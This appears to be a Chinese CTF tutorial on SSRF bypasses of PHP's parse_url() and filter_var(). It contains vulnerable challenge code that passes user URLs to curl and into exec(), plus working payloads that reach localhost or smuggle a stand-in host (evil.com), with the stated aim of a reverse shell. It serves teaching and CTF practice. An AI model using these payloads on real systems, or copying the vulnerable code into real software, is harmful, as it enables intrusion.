前言
在SSRF中我们经常遇到这两个函数filter_var()和parse_url(),今天来学习一下这两个函数相关的绕过方法.
parse_url()
函数介绍
parse_url用来解析 URL,返回其组成部分(返回一个关联数组) 语法如下:
parse_url (url,commpent) : mixed
其中,url为需要解析的url(必需),commpent为指定 PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、 PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string.(非必需)
绕过
我们需要知道libcurl和parse_url的解析差异.
完整url: scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
这里仅讨论url中不含'?'的情况
php parse_url:
host: 匹配最后一个@后面符合格式的host
libcurl:
host:匹配第一个@后面符合格式的host
比如,
http://u:p@baidu.com@bilibili.com/
parse_url和libcurl的解析分别如下:
parse_url解析结果:
schema: http
user: u
pass: p@baidu.com
host: bilibili.com
libcurl解析结果:
schema: http
host: baidu.com
user: u
pass: p
port: 80
后面的@bilibili.com/会被忽略掉
题目分析
题目中部分代码如下:
<?php
$url = @$_GET['url'];
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}
结合上面的知识,我们可以构造出如下payload:
http://u:p@127.0.0.1:80@www.baidu.com/flag.php
filter_var()
函数介绍
filter_var() 函数通过指定的过滤器过滤一个变量。如果成功,则返回被过滤的数据。如果失败,则返回 FALSE。
语法如下:
filter_var(variable, filter, options)
其中,variable是判断的字符串(必需),filter是相应的过滤器ID,通常在SSRF中对应的是FILTER_VALIDATE_URL,即判断是不是URL。
绕过
在CTF中我们经常见到这样的代码
if(filter_var($url, FILTER_VALIDATE_URL)) {
$r = parse_url($url);
if(preg_match('/google\.com$/', $r['host']))
{
exec('curl -v -s "'.$r['host'].'"', $a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
可以想见,题目的解法就是想办法执行curl语句进而利用curl反弹shell,所以关键就在于绕过preg_match,filter_var. 我们需要知道以下知识:
许多URL结构保留一些特殊的字符用来表示特殊的含义,这些符号在URL中不同的位置有着其特殊的语义。 字符”;”, “/”, “?”, “:”, “@”, “=” 和”&”是被保留的。 除了分层路径中的点段,通用语法将路径段视为不透明。 生成URI的应用程序通常使用段中允许的保留字符来分隔。例如”;”和”=”用来分割参数和参数值。逗号也有着类似的作用。 例如,有的结构使用name;v=1.1来表示name的version是1.1,然而还可以使用name,1.1来表示相同的意思。当然对于URL来说,这些保留的符号还是要看URL的算法来表示他们的作用。 例如,如果用于hostname上,URL”http://evil.com;baidu.com”会被curl或者wget这样的工具解析为host:evil.com,querything:baidu.com
知晓了上面的原理后,我们可以构造出这样的结果:
http://evil.com;google.com
但是可以看出,这样并不能通过filter_var的检测. 但当我们修改为:
0://evil.com;google.com
可以看到,成功进入了exec()语句. 但是这样并不能执行curl语句,我们可以通过制定特定端口即可解决这个问题。于是有最终payload:
0://evil.com:80;google.com:80
需要注意的是:
使用逗号代替分号会出现同样的情况
前面的0可以用其他非协议字段代替
另外,当像本题一样当使用了exec()函数而且脚本又使用[host]来创建一个curl HTTP请求时,我们还可以采用以下的payload:
0://evil$google.com